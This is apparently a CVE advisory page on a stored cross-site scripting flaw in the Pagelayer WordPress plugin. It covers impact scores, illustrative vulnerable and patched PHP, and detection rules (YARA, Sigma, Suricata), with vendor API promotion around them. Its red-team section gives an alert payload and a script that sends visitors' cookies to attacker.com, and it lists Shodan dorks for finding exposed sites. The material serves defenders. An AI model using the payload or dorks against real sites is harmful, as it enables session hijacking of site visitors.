☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-5124

CVE-2023-5124 Cross-Site Scripting in Pagelayer
📅 PUBLISHED: 2024-01-29 14:44 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-5124 is a Stored Cross-Site Scripting (XSS) vulnerability in the Page Builder: Pagelayer WordPress plugin, affecting versions prior to 1.8.0. This flaw allows authenticated attackers with administrator-level privileges to inject arbitrary JavaScript into a post's header or footer code. The vulnerability is particularly dangerous in multi-site WordPress configurations where the unfiltered_html capability is typically disallowed for administrators, as the plugin fails to properly sanitize or validate the injected code. Successful exploitation could lead to session hijacking, defacement, or redirection of users to malicious sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides within the WordPress plugin ecosystem, specifically the Pagelayer plugin. As a third-party component, it introduces risk into the WordPress supply chain. Administrators must ensure that the plugin is updated to version 1.8.0 or later to mitigate this risk. No known supply chain attacks have been reported for this specific CVE, but the potential for malicious code injection exists if the plugin is compromised.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD) / 4.8 (Calculated)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (Administrator)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None
  • Threat Level: Medium (due to high privileges required, but significant impact in multi-site environments)

Deep Dive & Mechanics

The vulnerability exists in the Pagelayer plugin's handling of post header and footer code. In WordPress, the unfiltered_html capability is typically granted only to super administrators in single-site installations, but in multi-site networks, it is often disabled for all users except super admins. The Pagelayer plugin, however, does not check for this capability before allowing administrators to insert custom JavaScript into the header or footer of a post.

The vulnerable code likely uses a function like update_post_meta or add_post_meta to store the header/footer code without sanitization. When the post is rendered, the stored code is output directly into the HTML, allowing the injected JavaScript to execute in the context of the victim's browser.

The attack flow:

  1. An attacker with administrator privileges on a WordPress site (or a sub-site in a multi-site network) crafts a malicious JavaScript payload.
  2. The attacker uses the Pagelayer plugin's interface to insert this payload into the post's header or footer code.
  3. The plugin stores the payload in the database without sanitization.
  4. When any user (including lower-privileged users or visitors) views the post, the malicious script executes.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.8.0):

// In pagelayer.php or similar
function pagelayer_save_header_footer($post_id) {
    if (isset($_POST['pagelayer_header_code'])) {
        update_post_meta($post_id, 'pagelayer_header_code', $_POST['pagelayer_header_code']);
    }
    if (isset($_POST['pagelayer_footer_code'])) {
        update_post_meta($post_id, 'pagelayer_footer_code', $_POST['pagelayer_footer_code']);
    }
}

Patched Code (1.8.0+):

// In pagelayer.php or similar
function pagelayer_save_header_footer($post_id) {
    if (isset($_POST['pagelayer_header_code'])) {
        // Check if user has unfiltered_html capability
        if (!current_user_can('unfiltered_html')) {
            // Sanitize the input
            $sanitized_header = wp_kses_post($_POST['pagelayer_header_code']);
            update_post_meta($post_id, 'pagelayer_header_code', $sanitized_header);
        } else {
            update_post_meta($post_id, 'pagelayer_header_code', $_POST['pagelayer_header_code']);
        }
    }
    // Similar for footer code
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install WordPress 6.x on a local server (e.g., using XAMPP or Docker).
  2. Install Pagelayer plugin version 1.7.9 (vulnerable).
  3. Create a multi-site network (optional, but demonstrates the impact).
  4. Log in as an administrator.

Exploitation Steps:

  1. Create a new post or edit an existing one.
  2. In the Pagelayer settings, locate the "Header Code" or "Footer Code" field.
  3. Insert the following payload:
    <script>alert('XSS by CVE-2023-5124');</script>
    
  4. Save the post.
  5. View the post as any user (e.g., subscriber or visitor). The alert box will execute.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defensive)

Detection Steps:

  1. Monitor for unusual JavaScript in post meta fields, specifically pagelayer_header_code and pagelayer_footer_code.
  2. Check for recent changes to these meta fields by administrators.
  3. Use the YARA and Sigma rules provided below to detect malicious payloads.

Mitigation:

  1. Immediately update the Pagelayer plugin to version 1.8.0 or later.
  2. If update is not possible, restrict administrator access to trusted users only.
  3. Implement a Web Application Firewall (WAF) rule to block suspicious JavaScript in post meta fields.

Indicators of Compromise (IOCs)

  • File Indicators:
    • Presence of malicious JavaScript in wp_postmeta table with meta_key = pagelayer_header_code or pagelayer_footer_code.
  • Network Indicators:
    • Outbound connections to known malicious domains from the WordPress server.
  • Behavioral Indicators:
    • Unexpected pop-ups or redirects when viewing posts.
    • Unauthorized cookie theft or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2023_5124_Pagelayer_XSS {
    meta:
        description = "Detects malicious JavaScript in Pagelayer header/footer code"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-5124"
    strings:
        $meta_key = "pagelayer_header_code" nocase
        $meta_key2 = "pagelayer_footer_code" nocase
        $script_tag = /<script[^>]*>.*<\/script>/i
    condition:
        ($meta_key or $meta_key2) and $script_tag
}

Sigma Rule

title: CVE-2023-5124 Pagelayer XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2023-5124 by injecting malicious JavaScript into Pagelayer header/footer code.
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '*/wp-admin/post.php*'
        http.body: '*pagelayer_header_code*'
        http.body: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript by super administrators with unfiltered_html capability.
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-5124 Pagelayer XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"pagelayer_header_code"; http_client_body; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Update the Pagelayer plugin to version 1.8.0 or later.
  2. Workaround: If update is not possible, disable the Pagelayer plugin or restrict administrator access to only trusted users.
  3. Long-term: Implement a Content Security Policy (CSP) to mitigate the impact of XSS attacks.
  4. Monitoring: Regularly audit post meta fields for suspicious content and monitor logs for exploitation attempts.

Report generated by Valters IT DevSecOps Intelligence Unit.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"PageLayer"
http.html:"pagelayer"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-5124/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.